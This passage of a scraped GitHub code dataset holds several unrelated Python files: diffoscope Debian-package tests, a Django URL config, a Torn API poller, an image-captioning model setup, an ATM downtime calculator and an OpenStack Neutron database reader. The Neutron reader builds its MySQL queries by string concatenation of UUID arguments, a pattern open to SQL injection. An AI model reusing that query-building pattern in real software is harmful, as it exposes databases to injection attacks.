Strings/Strings.py","file_name":"Strings.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28468405102","text":"import os.path\nimport shutil\nimport pytest\nfrom diffoscope.comparators import specialize\nfrom diffoscope.comparators.binary import FilesystemFile, NonExistingFile\ntry:\n from diffoscope.comparators.debian import DotChangesFile, DotDscFile\n miss_debian_module = False\nexcept ImportError:\n from diffoscope.comparators.debian_fallback import DotChangesFile, DotDscFile\n miss_debian_module = True\nfrom diffoscope.config import Config\nfrom diffoscope.presenters.text import output_text\n\nTEST_DOT_CHANGES_FILE1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.changes')\nTEST_DOT_CHANGES_FILE2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.changes')\nTEST_DEB_FILE1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.deb')\nTEST_DEB_FILE2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.deb')\n\n@pytest.fixture\ndef dot_changes1(tmpdir):\n tmpdir.mkdir('a')\n dot_changes_path = str(tmpdir.join('a/test_1.changes'))\n shutil.copy(TEST_DOT_CHANGES_FILE1_PATH, dot_changes_path)\n shutil.copy(TEST_DEB_FILE1_PATH, str(tmpdir.join('a/test_1_all.deb')))\n return specialize(FilesystemFile(dot_changes_path))\n\n@pytest.fixture\ndef dot_changes2(tmpdir):\n tmpdir.mkdir('b')\n dot_changes_path = str(tmpdir.join('b/test_1.changes'))\n shutil.copy(TEST_DOT_CHANGES_FILE2_PATH, dot_changes_path)\n shutil.copy(TEST_DEB_FILE2_PATH, str(tmpdir.join('b/test_1_all.deb')))\n return specialize(FilesystemFile(dot_changes_path))\n\ndef test_dot_changes_identification(dot_changes1):\n assert isinstance(dot_changes1, DotChangesFile)\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_changes_invalid(tmpdir):\n tmpdir.mkdir('a')\n dot_changes_path = str(tmpdir.join('a/test_1.changes'))\n shutil.copy(TEST_DOT_CHANGES_FILE1_PATH, dot_changes_path)\n # we don't copy the referenced .deb\n identified = specialize(FilesystemFile(dot_changes_path))\n assert not isinstance(identified, DotChangesFile)\n\ndef test_dot_changes_no_differences(dot_changes1):\n difference = dot_changes1.compare(dot_changes1)\n assert difference is None\n\n@pytest.fixture\ndef dot_changes_differences(dot_changes1, dot_changes2):\n difference = dot_changes1.compare(dot_changes2)\n output_text(difference, print_func=print)\n return difference.details\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_changes_description(dot_changes_differences):\n assert dot_changes_differences[0]\n expected_diff = open(os.path.join(os.path.dirname(__file__), '../data/dot_changes_description_expected_diff')).read()\n assert dot_changes_differences[0].unified_diff == expected_diff\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_changes_internal_diff(dot_changes_differences):\n assert dot_changes_differences[2].source1 == 'test_1_all.deb'\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_changes_compare_non_existing(monkeypatch, dot_changes1):\n monkeypatch.setattr(Config.general, 'new_file', True)\n difference = dot_changes1.compare(NonExistingFile('/nonexisting', dot_changes1))\n output_text(difference, print_func=print)\n assert difference.source2 == '/nonexisting'\n assert difference.details[-1].source2 == '/dev/null'\n\nTEST_DOT_DSC_FILE1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.dsc')\nTEST_DOT_DSC_FILE2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.dsc')\nTEST_DEB_SRC1_PATH = os.path.join(os.path.dirname(__file__), '../data/test1.debsrc.tar.gz')\nTEST_DEB_SRC2_PATH = os.path.join(os.path.dirname(__file__), '../data/test2.debsrc.tar.gz')\n\n@pytest.fixture\ndef dot_dsc1(tmpdir):\n tmpdir.mkdir('a')\n dot_dsc_path = str(tmpdir.join('a/test_1.dsc'))\n shutil.copy(TEST_DOT_DSC_FILE1_PATH, dot_dsc_path)\n shutil.copy(TEST_DEB_SRC1_PATH, str(tmpdir.join('a/test_1.tar.gz')))\n return specialize(FilesystemFile(dot_dsc_path))\n\n@pytest.fixture\ndef dot_dsc2(tmpdir):\n tmpdir.mkdir('b')\n dot_dsc_path = str(tmpdir.join('b/test_1.dsc'))\n shutil.copy(TEST_DOT_DSC_FILE2_PATH, dot_dsc_path)\n shutil.copy(TEST_DEB_SRC2_PATH, str(tmpdir.join('b/test_1.tar.gz')))\n return specialize(FilesystemFile(dot_dsc_path))\n\ndef test_dot_dsc_identification(dot_dsc1):\n assert isinstance(dot_dsc1, DotDscFile)\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_dsc_invalid(tmpdir, dot_dsc2):\n tmpdir.mkdir('a')\n dot_dsc_path = str(tmpdir.join('a/test_1.dsc'))\n shutil.copy(TEST_DOT_CHANGES_FILE1_PATH, dot_dsc_path)\n # we don't copy the referenced .tar.gz\n identified = specialize(FilesystemFile(dot_dsc_path))\n assert not isinstance(identified, DotDscFile)\n\ndef test_dot_dsc_no_differences(dot_dsc1):\n difference = dot_dsc1.compare(dot_dsc1)\n assert difference is None\n\n@pytest.fixture\ndef dot_dsc_differences(dot_dsc1, dot_dsc2):\n difference = dot_dsc1.compare(dot_dsc2)\n output_text(difference, print_func=print)\n return difference.details\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_dsc_internal_diff(dot_dsc_differences):\n assert dot_dsc_differences[1].source1 == 'test_1.tar.gz'\n\n@pytest.mark.skipif(miss_debian_module, reason='debian module is not installed')\ndef test_dot_dsc_compare_non_existing(monkeypatch, dot_dsc1):\n monkeypatch.setattr(Config.general, 'new_file', True)\n difference = dot_dsc1.compare(NonExistingFile('/nonexisting', dot_dsc1))\n output_text(difference, print_func=print)\n assert difference.source2 == '/nonexisting'\n assert difference.details[-1].source2 == '/dev/null'\n","repo_name":"edolstra/diffoscope","sub_path":"tests/comparators/test_debian.py","file_name":"test_debian.py","file_ext":"py","file_size_in_byte":5741,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"73773737691","text":"\"\"\"multisearch URL Configuration\n\nConfigure URL for endpoints:\n/site/\n/site/:site_id/\n/search/:site_id?term=foo\n\"\"\"\n\n\nfrom django.conf.urls import url\nfrom .views.api import (\n search,\n sites,\n site,\n)\n\n\nurlpatterns = [\n url(r'^search/(?P\\w+).*$', search, name=\"search\"),\n url(r'^site/$', sites, name=\"sites\"),\n url(r'^site/(?P\\w+)/$', site, name=\"site\"),\n]","repo_name":"jdeveloperw/multisearch","sub_path":"server/multisearch/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27298147498","text":"import requests\nimport threading, time\nimport GLOBAL_CONFIG\nDEBUG_LOG = False\n\nAPI_KEY = GLOBAL_CONFIG.API_KEY\nAPI_FACTION_ID = \"36134\"\nAPI_CHAIN_REQUEST_URL = \"https://api.torn.com/faction/%s?selections=chain&key=%s\" % (API_FACTION_ID, API_KEY)\nAPI_FACTION_REQUEST_URL = \"https://api.torn.com/faction/%s?selections=&key=%s\" % (API_FACTION_ID, API_KEY)\nAPI_REQUEST_TIME_INTERVAL = 5\n\nsession = requests.session()\nif GLOBAL_CONFIG.USE_PROXIES:\n session.proxies = GLOBAL_CONFIG.proxies\n\nfaction_name = \"\"\nchain_current = -1\nchain_max = -1\nchain_timeout = -1\nchain_last_update_timestamp = -1\n\n\ndef debug_log_chain_state():\n if DEBUG_LOG:\n print(chain_current, chain_max, chain_timeout)\n\n\ndef chain_detail_info_make() -> str:\n return 'faction: %s\\n当前chain: %d\\n最大chain: %d\\n剩余时间: %d秒\\n预估剩余时间:%d秒\\n距离上次更新已过去:%d秒' % (faction_name, chain_current, chain_max, chain_timeout, (chain_timeout - (time.time()-chain_last_update_timestamp)), time.time()-chain_last_update_timestamp)\n\n\ndef chain_simple_info_make() -> str:\n return '当前chain: %d\\n最大chain: %d\\n预估剩余时间:%d' % ( chain_current, chain_max, (chain_timeout - (time.time()-chain_last_update_timestamp)))\n\n\ndef update_faction_state():\n global faction_name\n r = requests.get(API_FACTION_REQUEST_URL).json()\n try:\n faction_name = r[\"name\"]\n except Exception as e:\n faction_name = \"\"\n\n\ndef update_chain_state():\n global chain_current, chain_max, chain_timeout, chain_last_update_timestamp\n r = session.get(API_CHAIN_REQUEST_URL).json()\n try:\n new_chain_current = r[\"chain\"][\"current\"]\n new_chain_max = r[\"chain\"][\"max\"]\n new_chain_timeout = r[\"chain\"][\"timeout\"]\n new_chain_timestamp = -1\n\n if (new_chain_current != chain_current) or (new_chain_max != chain_max) or (new_chain_timeout != chain_timeout):\n # 有新信息 更新last_update_timestamp\n new_chain_timestamp = time.time()\n else:\n # 没有新信息 不更新last_update_timestamp\n new_chain_timestamp = chain_last_update_timestamp\n\n chain_current = new_chain_current\n chain_max = new_chain_max\n chain_timeout = new_chain_timeout\n chain_last_update_timestamp = new_chain_timestamp\n\n except Exception as e:\n chain_current = -1\n chain_max = -1\n chain_timeout = -1\n chain_last_update_timestamp = -1\n\n\ndef api_life_cycle():\n while 1:\n try:\n if faction_name == \"\":\n update_faction_state()\n update_chain_state()\n debug_log_chain_state()\n except Exception as e:\n print(e)\n print('api.center.heartbeat')\n time.sleep(API_REQUEST_TIME_INTERVAL)\n\n\ndef commence_life_cycle():\n # 不要多次调用\n thread = threading.Thread(target=api_life_cycle)\n thread.start()","repo_name":"mirrorsysu/iTorn_source","sub_path":"torn/APICenter.py","file_name":"APICenter.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"11670794425","text":"\"\"\"Model and feature extraction logic.\"\"\"\nfrom omegaconf import DictConfig\nfrom transformers import (GPT2Tokenizer, PreTrainedModel, PreTrainedTokenizer,\n VisionEncoderDecoderModel, ViTFeatureExtractor)\n\n\ndef get_feature_extractor(\n pretrained_feature_extractor: str,\n) -> ViTFeatureExtractor:\n \"\"\"Get a pretrained ViT feature extractor by the given name.\n\n Args:\n pretrained_feature_extractor: The pretrained ft name.\n\n Returns:\n The pretrained feature ViT extractor.\n \"\"\"\n return ViTFeatureExtractor.from_pretrained(\n pretrained_feature_extractor,\n )\n\n\ndef get_tokenizer(\n pretrained_tokenizer: str,\n) -> GPT2Tokenizer:\n \"\"\"Get a pretrained GPT2 tokenizer by the given name.\n\n Args:\n pretrained_tokenizer: The pretrained tokenizer name.\n\n Returns:\n The pretrained GPT2 tokenizer.\n \"\"\"\n tokenizer = GPT2Tokenizer.from_pretrained(\n pretrained_tokenizer, use_fast=True,\n )\n tokens_to_add = {\n 'pad_token': '[PAD]',\n 'bos_token': '[BOS]',\n 'eos_token': '[EOS]',\n }\n tokenizer.add_special_tokens(tokens_to_add)\n return tokenizer\n\n\ndef get_model(\n pretrained_encoder: str,\n pretrained_decoder: str,\n tokenizer: PreTrainedTokenizer,\n config: DictConfig,\n) -> PreTrainedModel:\n \"\"\"Get and configure a pretrained EncoderDecoder model.\n\n Args:\n pretrained_encoder: Pretrained encoder name.\n pretrained_decoder: Pretrained decoder name.\n tokenizer: Pretrained tokenizer for encoder.\n config: Model configuration.\n\n Returns:\n VisionEncoder decoder from pretrained parts with applied configuration.\n \"\"\"\n model = VisionEncoderDecoderModel.from_encoder_decoder_pretrained(\n pretrained_encoder, pretrained_decoder,\n )\n\n model.config.decoder_start_token_id = tokenizer.bos_token_id\n model.config.bos_token_id = tokenizer.bos_token_id\n model.config.pad_token_id = tokenizer.pad_token_id\n model.config.eos_token_id = tokenizer.eos_token_id\n\n model.decoder.resize_token_embeddings(len(tokenizer))\n model.config.vocab_size = model.config.decoder.vocab_size\n\n model.config.max_length = config.max_length\n model.config.num_beams = config.num_beams\n model.config.num_beam_groups = config.num_beam_groups\n model.config.early_stopping = config.early_stopping\n model.config.no_repeat_ngram_size = config.no_repeat_ngram_size\n model.config.length_penalty = config.length_penalty\n model.config.repetition_penalty = config.repetition_penalty\n model.config.diversity_penalty = config.diversity_penalty\n\n return model\n","repo_name":"EgSergeenko/product-images-captioning","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11937636964","text":"import datetime as dt\nimport time as tm\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import Series\nfrom pandas.core.frame import DataFrame\nfrom progressbar import ProgressBar\n\nimport project.date_range as dr\nfrom project.pd import df_cartesian\nfrom project.pd.datasource.orcl import DataFrameReaderOrcl\nimport project.atmserv.typ as typ\n\n\ndef get_order_day(df_order, df_day):\n df = df_cartesian(df_order, df_day)\n return df.loc[(df.DATE_REG <= df.DAY) & (df.DAY <= df.DATE_END)]\n\n\ndef set_group_func(df, series, col_name, func):\n\n for item in series.unique():\n cond = series == item # Булев массив для каждого уникального значения\n df.loc[cond, col_name] = func(item)\n\n\ndef get_in_repair(df_atm_order):\n i = 0\n in_repair_list = []\n grp_atm_order = df_atm_order.groupby(['ATM_REF', 'DAY', 'SW_BEG', 'SW_END'])[['DATE_REG', 'DATE_END']]\n bar = ProgressBar(max_value=len(grp_atm_order.size())).start()\n for (atm_ref, day, sw_beg, sw_end), grp in grp_atm_order:\n\n i += 1\n in_repair_day = []\n for order in grp.itertuples():\n\n (beg, end) = dr.inner_join([(sw_beg, sw_end), (order.DATE_REG, order.DATE_END)])\n if None not in [beg, end]:\n in_repair_day.append((beg, end))\n\n if i % 100 == 0:\n bar.update(i)\n\n in_repair_list.extend([(atm_ref, day, sw_beg, sw_end, *item) for item in dr.outer_join(in_repair_day) if item is not None])\n\n bar.finish()\n\n df_in_repair = pd.DataFrame(\n in_repair_list,\n columns=['ATM_REF', 'DAY', 'SW_BEG', 'SW_END', 'REPAIR_BEG', 'REPAIR_END']\n )\n\n # df_in_repair['REPAIR_TIME'] = df_in_repair['REPAIR_END'] - df_in_repair['REPAIR_BEG']\n\n return df_in_repair\n\n\ndef get_service_window(df_atm, df_day):\n\n def time_to_td(time):\n return pd.Timedelta(hours=time.hour, minutes=time.minute)\n\n set_group_func(df_atm, df_atm.A_TIME_BEG, 'TD_SERVICE_BEG', time_to_td) # Timedelta от начала суток до начала обслуживания\n set_group_func(df_atm, df_atm.A_TIME_END, 'TD_SERVICE_END', time_to_td) # Timedelta от начала суток до окончания обслуживания\n\n # Рачет режима обслуживания по условиям дней недели\n df_atm_wd = df_cartesian(df_atm, pd.DataFrame({'WEEKDAY': [1, 2, 3, 4, 5, 6, 7]})) #.set_index(['ATM_REF', 'WEEKDAY'], False)\n cond = df_atm_wd.WEEKDAY > df_atm_wd.A_DAYS\n df_atm_wd.loc[cond, 'TD_SERVICE_BEG'] = pd.to_timedelta(0)\n df_atm_wd.loc[cond, 'TD_SERVICE_END'] = pd.to_timedelta(0)\n\n # Режим доступности УС сводится к двум полям (AVAIL_BEG и AVAIL_END) в разрезе недель\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 1, 'TIME_AVAIL_BEG'] = df_atm_wd.MON_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 1, 'TIME_AVAIL_END'] = df_atm_wd.MON_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 2, 'TIME_AVAIL_BEG'] = df_atm_wd.TUE_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 2, 'TIME_AVAIL_END'] = df_atm_wd.TUE_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 3, 'TIME_AVAIL_BEG'] = df_atm_wd.WED_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 3, 'TIME_AVAIL_END'] = df_atm_wd.WED_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 4, 'TIME_AVAIL_BEG'] = df_atm_wd.THU_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 4, 'TIME_AVAIL_END'] = df_atm_wd.THU_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 5, 'TIME_AVAIL_BEG'] = df_atm_wd.FRI_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 5, 'TIME_AVAIL_END'] = df_atm_wd.FRI_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 6, 'TIME_AVAIL_BEG'] = df_atm_wd.SAT_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 6, 'TIME_AVAIL_END'] = df_atm_wd.SAT_END\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 7, 'TIME_AVAIL_BEG'] = df_atm_wd.SUN_BEG\n df_atm_wd.loc[df_atm_wd.WEEKDAY == 7, 'TIME_AVAIL_END'] = df_atm_wd.SUN_END\n\n set_group_func(df_atm_wd, df_atm_wd.TIME_AVAIL_BEG, 'TD_AVAIL_BEG', time_to_td)\n set_group_func(df_atm_wd, df_atm_wd.TIME_AVAIL_END, 'TD_AVAIL_END', time_to_td)\n\n # Получение данных в разрезе дней\n # df_atm_sw = pd.merge(df_atm_wd, df_day, 'outer', on='WEEKDAY').set_index(['ATM_REF', 'DAY'], False).sort_index()\n df_atm_sw = pd.merge(df_atm_wd, df_day, on='WEEKDAY').set_index(['ATM_REF', 'DAY'], False).sort_index()\n # print(df_atm_sw.info())\n\n # Приведение к datetime\n df_atm_sw['SERVICE_BEG'] = df_atm_sw.DAY + df_atm_sw.TD_SERVICE_BEG\n df_atm_sw['SERVICE_END'] = df_atm_sw.DAY + df_atm_sw.TD_SERVICE_END\n df_atm_sw['AVAIL_BEG'] = df_atm_sw.DAY + df_atm_sw.TD_AVAIL_BEG\n df_atm_sw['AVAIL_END'] = df_atm_sw.DAY + df_atm_sw.TD_AVAIL_END\n\n # Обединение режимов обслуживания и доступности\n cond = df_atm_sw['AVAIL_BEG'] > df_atm_sw['SERVICE_BEG']\n df_atm_sw.loc[cond, 'SW_BEG'] = df_atm_sw.loc[cond, 'AVAIL_BEG']\n df_atm_sw.loc[~cond, 'SW_BEG'] = df_atm_sw.loc[~cond, 'SERVICE_BEG']\n\n cond = df_atm_sw['AVAIL_END'] < df_atm_sw['SERVICE_END']\n df_atm_sw.loc[cond, 'SW_END'] = df_atm_sw.loc[cond, 'AVAIL_END']\n df_atm_sw.loc[~cond, 'SW_END'] = df_atm_sw.loc[~cond, 'SERVICE_END']\n\n cond = df_atm_sw['SERVICE_BEG'] >= df_atm_sw['SERVICE_END']\n df_atm_sw.loc[cond, 'SW_BEG'] = df_atm_sw.loc[cond, 'DAY']\n df_atm_sw.loc[cond, 'SW_END'] = df_atm_sw.loc[cond, 'DAY']\n\n df_atm_sw['SW_TIME'] = df_atm_sw['SW_END'] - df_atm_sw['SW_BEG']\n\n # print(df_atm_sw)\n # df_atm_sw.to_csv('data/df_atm_sw.csv', sep='\\t')\n return df_atm_sw\n\n\ndef calc_idle(reader, date_beg, date_end):\n\n df_atm_all = reader.get_atm()\n df_service = reader.get_service(date_beg, date_end)\n df_order = reader.get_orders(date_beg, date_end)\n\n df_atm = df_service.merge(df_atm_all, on=['ATM_REF']) #.set_index('ATM_REF', False)\n\n # Список дат для анализа\n days = dr.date_list(date_beg, date_end)\n df_day = pd.DataFrame({'DAY':[d for d in days]})\n df_day.DAY = pd.to_datetime(df_day.DAY) # Приведение к datetime\n df_day['WEEKDAY'] = df_day.DAY.dt.weekday + 1 # Опорное поле дней недели\n\n df_atm_sw = get_service_window(df_atm, df_day) # Рсчет сервисного окна для каждого УС\n\n # Расчет времени ремонта УС по дням\n df_order_day = get_order_day(df_order, df_day)\n df_atm_order = pd.merge(df_atm_sw, df_order_day, on=['ATM_REF', 'DAY']) #.set_index(['ATM_REF', 'DAY'], False)\n df_in_repair = get_in_repair(df_atm_order) # Длительная операция\n\n # Расчет времени доступности УС по дням\n df_idle = pd.merge(\n df_atm_sw[['ATM_REF', 'DAY', 'SW_BEG', 'SW_END', 'SW_TIME']],\n df_in_repair[['ATM_REF', 'DAY', 'REPAIR_BEG', 'REPAIR_END']],\n how='left',\n on=['ATM_REF', 'DAY']\n )\n df_idle['REPAIR_TIME'] = df_idle['REPAIR_END'] - df_idle['REPAIR_BEG']\n df_idle.loc[df_idle.REPAIR_TIME.isnull() & (df_idle.SW_TIME > pd.to_timedelta(0)), 'REPAIR_TIME'] = pd.to_timedelta(0)\n df_idle['AVAIL'] = 1 - (df_idle['REPAIR_TIME'] / df_idle['SW_TIME'])\n df_idle['DAY_DATE'] = df_idle.DAY.dt.date\n df_idle['DAY_MONTH'] = df_idle.DAY.dt.strftime('%Y.%m')\n df_idle['DAY_NUM'] = df_idle.DAY.dt.day\n\n # print(df_idle.info())\n # df_idle.to_csv('data/df_idle.csv', sep='\\t')\n\n df_atm_idle = df_atm[['ATM_REF', 'SERIAL', 'CITY', 'ADDR', 'MODEL']].merge(\n df_idle,\n how='left',\n on=['ATM_REF']\n # left_index=True,\n # right_index=True\n )\n\n df_atm_idle_pivot = df_atm_idle.pivot_table(index=['ATM_REF', 'SERIAL', 'CITY', 'ADDR', 'MODEL'], columns=['DAY_MONTH', 'DAY_NUM'], values=['AVAIL']) #.reset_index() #.set_index(['ATM_REF'])\n print(df_atm_idle_pivot)\n\n return df_atm_idle_pivot\n\n","repo_name":"privod/atm_chart","sub_path":"project/idle.py","file_name":"idle.py","file_ext":"py","file_size_in_byte":7947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12395461593","text":"__author__ = 'gpetralia'\n\nimport json\nfrom contextlib import closing\nimport mysql.connector as MySQLdb\n\n# MAP driver name to Neutron agent name\nMAP_DRIVER_BINARY = {\n 'openvswitch': 'neutron-openvswitch-agent'\n}\n\n\nclass NeutronDb():\n \"\"\"\n Exposes methods to get information regarding Neutron resources.\n It manages the connection to the Neutron DB.\n \"\"\"\n def __init__(self, host, usr, pwd, db):\n self.conn = None\n self.conn = MySQLdb.connect(host=host,\n user=usr,\n passwd=pwd,\n db=db)\n\n def get_routers(self, uuid=None):\n \"\"\"\n Return a dict containing the routers stored in Glance.\n If an UUID is given, it will return only the router with the given UUID\n :param uuid: Optional UUID of the desired router\n :return dict: contains routers information\n \"\"\"\n res = {}\n\n with closing(self.conn.cursor()) as cur:\n query = 'select * from routers left join ' \\\n 'routerl3agentbindings on routers.id = routerl3agentbindings.router_id'\n\n if uuid:\n query += ' where routers.id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[1]] = {}\n res[row[1]]['attributes'] = {}\n\n res[row[1]]['name'] = row[2]\n res[row[1]]['type'] = 'router'\n res[row[1]]['resource_type'] = 'virtual'\n res[row[1]]['category'] = 'network'\n res[row[1]]['attributes']['status'] = row[3]\n res[row[1]]['attributes']['admin_state_up'] = row[4]\n res[row[1]]['attributes']['gw_port_id'] = row[5]\n res[row[1]]['attributes']['enable_snat'] = row[6]\n res[row[1]]['attributes']['l3_agent_id'] = row[8]\n res[row[1]]['attributes']['ports'] = []\n port_query = 'select * from routerports where router_id=\"' + row[1] + '\"'\n cur.execute(port_query)\n for port_row in cur.fetchall():\n res[row[1]]['attributes']['ports'].append(port_row[1])\n\n return res\n\n def get_floating_ips(self, uuid=None):\n \"\"\"\n Return a dict containing the FloatingIPs stored in Neutron.\n If an UUID is given, it will return only the FloatingIP with the given UUID\n :param uuid: Optional UUID of the desired FloatingIP\n :return dict: contains FloatingIPs information\n \"\"\"\n res = {}\n with closing(self.conn.cursor()) as cur:\n query = 'select * from floatingips'\n if uuid:\n query += ' where id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[1]] = {}\n res[row[1]]['attributes'] = {}\n res[row[1]]['type'] = 'floatingip'\n res[row[1]]['resource_type'] = 'virtual'\n res[row[1]]['category'] = 'network'\n res[row[1]]['attributes']['floating_ip_address'] = row[2]\n res[row[1]]['attributes']['network_id'] = row[3]\n res[row[1]]['attributes']['port_id'] = row[4]\n res[row[1]]['attributes']['fixed_port_id'] = row[5]\n res[row[1]]['attributes']['router_id'] = row[7]\n sub_query = 'select mac_address from ports where id = \"' + row[4] + '\" '\n cur.execute(sub_query)\n for sub_row in cur.fetchall():\n res[row[1]]['attributes']['mac_address'] = sub_row[0]\n sub_query = 'select subnet_id from ipallocations where port_id = \"' + row[4] + '\" '\n cur.execute(sub_query)\n for sub_row in cur.fetchall():\n res[row[1]]['attributes']['subnet_id'] = sub_row[0]\n return res\n\n def get_ports_by_instance_uuid(self, instance_uuid):\n \"\"\"\n Return list of Neutron ports of the given nova instance.\n :param instance_uuid: UUID of the Nova Instance\n :return list: contains ports UUID\n \"\"\"\n res = []\n cur = self.conn.cursor()\n query = 'SELECT id FROM ports WHERE device_id = \"' + instance_uuid + '\"'\n cur.execute(query)\n for row in cur.fetchall():\n res.append(row[0])\n return res\n\n def get_ports(self, uuid=None):\n \"\"\"\n Return a dict containing the ports stored in Neutron.\n If an UUID is given, it will return only the port with the given UUID\n :param uuid: Optional UUID of the desired port\n :return dict: contains ports information\n \"\"\"\n res = {}\n\n with closing(self.conn.cursor()) as cur:\n query = 'select * from ports where device_owner != \"network:floatingip\"'\n if uuid:\n query += ' and id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[1]] = {}\n res[row[1]]['attributes'] = {}\n\n if row[2] != '':\n res[row[1]]['name'] = row[2]\n\n res[row[1]]['type'] = 'port'\n res[row[1]]['resource_type'] = 'virtual'\n res[row[1]]['category'] = 'network'\n res[row[1]]['attributes']['network_id'] = row[3]\n res[row[1]]['attributes']['mac_address'] = row[4]\n res[row[1]]['attributes']['admin_state_up'] = row[5]\n res[row[1]]['attributes']['status'] = row[6]\n res[row[1]]['attributes']['device_id'] = row[7]\n\n if row[8] != '':\n res[row[1]]['attributes']['device_owner'] = row[8]\n\n query = 'select * from ml2_port_bindings'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n if row[0] in res.keys():\n if row[1] != '':\n res[row[0]]['hostname'] = row[1]\n res[row[0]]['attributes']['vif_type'] = row[2]\n res[row[0]]['attributes']['driver'] = row[3]\n res[row[0]]['attributes']['segment'] = row[4]\n res[row[0]]['attributes']['vnic_type'] = row[5]\n\n if row[6] != '':\n res[row[0]]['attributes']['vif_details'] = json.loads(row[6])\n if row[7] != '':\n res[row[0]]['attributes']['profile'] = row[7]\n\n query = 'select * from ipallocations'\n cur.execute(query)\n\n for row in cur.fetchall():\n if row[0] in res.keys():\n res[row[0]]['attributes']['ip_address'] = row[1]\n res[row[0]]['attributes']['subnet_id'] = row[2]\n\n for port in res.keys():\n if res[port]['attributes']['vif_type'] != 'unbound':\n host = res[port]['hostname']\n if res[port]['attributes']['driver'] in MAP_DRIVER_BINARY.keys():\n driver = res[port]['attributes']['driver']\n query = 'select id from agents where agents.host=\"' + host + \\\n '\" and agents.binary=\"' + MAP_DRIVER_BINARY[driver] + '\" LIMIT 1;'\n cur.execute(query)\n for row in cur.fetchall():\n res[port]['attributes']['agent_id'] = row[0]\n\n query = 'select * from floatingips'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n if row[5] in res.keys():\n if 'floatingips' not in res[row[5]]['attributes'].keys():\n res[row[5]]['attributes']['floatingips'] = []\n res[row[5]]['attributes']['floatingips'].append(row[1])\n\n return res\n\n def get_agents(self, uuid=None):\n \"\"\"\n Return a dict containing the Neutron agents stored in Neutron.\n If an UUID is given, it will return only the agent with the given UUID\n :param uuid: Optional UUID of the desired agent\n :return dict: contains agents information\n \"\"\"\n res = {}\n with closing(self.conn.cursor()) as cur:\n\n query = 'select * from agents'\n\n if uuid:\n query += ' where id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[0]] = {}\n res[row[0]]['resource_type'] = 'service'\n res[row[0]]['name'] = row[1]\n res[row[0]]['hostname'] = row[4]\n res[row[0]]['category'] = 'network'\n res[row[0]]['type'] = row[2]\n res[row[0]]['attributes'] = {}\n res[row[0]]['attributes']['admin_state_up'] = row[5]\n res[row[0]]['attributes']['configurations'] = json.loads(row[10])\n return res\n\n def get_networks(self, uuid=None):\n \"\"\"\n Return a dict containing the networks stored in Neutron.\n If an UUID is given, it will return only the network with the given UUID\n :param uuid: Optional UUID of the desired network\n :return dict: contains networks information\n \"\"\"\n res = {}\n with closing(self.conn.cursor()) as cur:\n\n query = 'select n.id, n.name, n.status, n.admin_state_up, n.shared from networks n'\n\n if uuid:\n query += ' where n.id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[0]] = {}\n res[row[0]]['resource_type'] = 'virtual'\n res[row[0]]['name'] = row[1]\n res[row[0]]['type'] = 'net'\n res[row[0]]['category'] = 'network'\n res[row[0]]['attributes'] = {}\n res[row[0]]['attributes']['status'] = row[2]\n res[row[0]]['attributes']['admin_state_up'] = row[3]\n res[row[0]]['attributes']['shared'] = row[4]\n subnets = self.get_subnets_by_net_id(row[0])\n if subnets and len(subnets) > 0:\n res[row[0]]['attributes']['subnets'] = subnets\n\n query = 'select m.network_id, m.network_type, m.physical_network, ' \\\n 'm.segmentation_id, m.is_dynamic from ml2_network_segments m'\n\n if uuid:\n query += ' where m.network_id = \"' + uuid + '\"'\n\n cur.execute(query)\n for row in cur.fetchall():\n res[row[0]]['attributes']['network_type'] = row[1]\n res[row[0]]['attributes']['physical_network'] = row[2]\n res[row[0]]['attributes']['segmentation_id'] = row[3]\n res[row[0]]['attributes']['is_dynamic'] = row[4]\n\n query = 'select network_id, dhcp_agent_id from 